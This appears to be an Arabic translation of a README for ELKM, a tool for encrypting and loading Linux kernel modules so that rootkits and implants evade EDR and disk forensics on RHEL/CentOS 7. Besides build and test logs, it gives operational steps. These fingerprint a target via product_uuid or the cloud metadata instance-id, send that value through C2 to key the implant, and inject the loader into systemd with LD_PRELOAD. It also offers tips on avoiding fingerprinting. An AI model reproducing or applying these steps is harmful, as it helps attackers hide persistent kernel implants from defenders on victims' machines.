
encrypted-linux-kernel-modules
توفر ELKM آلية لنقل وتحميل وحدات Kernel القابلة للتحميل (LKM) المشفَّرة بشكل آمن. الهدف هو حماية الجذور الخفية (rootkits) القائمة على النواة والبرمجيات المزروعة (implants) من المراقبة بواسطة برامج كشف نقاط النهاية والاستجابة (EDR)، وتحييد آثار الاسترداد بواسطة أدوات التحقيق الرقمي في الأقراص (disk forensics).
تمت كتابة ELKM خصيصًا لبيئة RHEL/CentOS 7 ببنية x86-64.
kernel-tools-libs-3.10.0-1127.18.2.el7.x86_64
kernel-devel-3.10.0-1127.18.2.el7.x86_64
kernel-tools-3.10.0-1127.18.2.el7.x86_64
kernel-headers-3.10.0-1127.18.2.el7.x86_64
kernel-3.10.0-1127.18.2.el7.x86_64
sudo yum install glibc-static -y
sudo yum install kernel-devel -y
sudo yum install kernel-headers -y
sudo yum install openssl-devel -y
sudo yum install libcurl-devel -y
ينفّذ السكربت الاختباري 4 اختبارات:
$ make
$ sudo ./test.sh
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules clean
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
CLEAN /home/test/encrypted-kernel-modules/.tmp_versions
CLEAN /home/test/encrypted-kernel-modules/Module.symvers
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
rm -f loader.so
rm -f payloadfuser
make -C /lib/modules/3.10.0-1127.13.1.el7.x86_64/build M=/home/test/encrypted-kernel-modules modules
make[1]: Entering directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
CC [M] /home/test/encrypted-kernel-modules/kernel-module.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/test/encrypted-kernel-modules/kernel-module.mod.o
LD [M] /home/test/encrypted-kernel-modules/kernel-module.ko
make[1]: Leaving directory `/usr/src/kernels/3.10.0-1127.13.1.el7.x86_64'
gcc -o loader.so loader.c -fPIC -shared -ldl -lcrypto -Wall
gcc -o payloadfuser payloadfuser.c -lcrypto -Wall
strip --strip-unneeded kernel-module.ko
strip --strip-unneeded loader.so
strip payloadfuser
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password '07EC86F1-957C-6B4E-9134-7A6DE5ACC99C', and fusing with './loader.so'
stage 2: executing './loader.so':
module loaded: YES
unloading
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-ENV-KEY', and fusing with './loader.so'
stage 2: executing './loader.so':
module loaded: YES
unloading
--------------------------------------------------------------------------------
stage 1: fusing './kernel-module.ko' payload with './loader.so' using './payloadfuser':
main(): encrypting './kernel-module.ko' with password 'TEST-STDIN-KEY', and fusing with './loader.so'
stage 2: executing './loader.so':
module loaded: YES
unloading
make
./payloadfuser ./kernel-module.ko ./loader.so dummykey
FOO=dummykey LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
على النظام المستهدف:
cat /sys/class/dmi/id/product_uuid
ملاحظة: ينبغي القيام بذلك بطريقة آلية، على سبيل المثال عبر أداة إسقاط (dropper). أرسِل product_uuid إلى البنية التحتية للتجهيز عبر C2.
على البنية التحتية للتجهيز:
./payloadfuser ./implant.ko ./loader.so $uuid
على النظام المستهدف، قم بتنزيل المُحمِّل (loader) من البنية التحتية للتجهيز، ونفِّذه عبر ملف تنفيذي موثوق:
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
على النظام المستهدف:
curl http://169.254.169.254/latest/meta-data/instance-id
ملاحظة: ينبغي القيام بذلك بطريقة آلية، على سبيل المثال عبر أداة إسقاط (dropper). أرسِل معرّف المثيل إلى البنية التحتية للتجهيز عبر C2.
على البنية التحتية للتجهيز:
./payloadfuser ./implant.ko ./loader.so $instanceid
على النظام المستهدف، قم بتنزيل المُحمِّل من البنية التحتية للتجهيز، ونفِّذه عبر ملف تنفيذي موثوق:
LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
على البنية التحتية للتجهيز:
./payloadfuser ./implant.ko ./loader.so PASSWORD
على النظام المستهدف، عبر البيئة:
# FOO=PASSWORD LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
#
أو عبر stdin:
# LD_PRELOAD=./loader.so /usr/lib/systemd/systemd
THISISMYINTERACTIVEPASSWORD
#
بعض النصائح إذا أردت نشر ELKM عمليًا:
اخترنا عدم تنفيذ هذه الميزات لتجنّب البصم الرقمي (fingerprinting).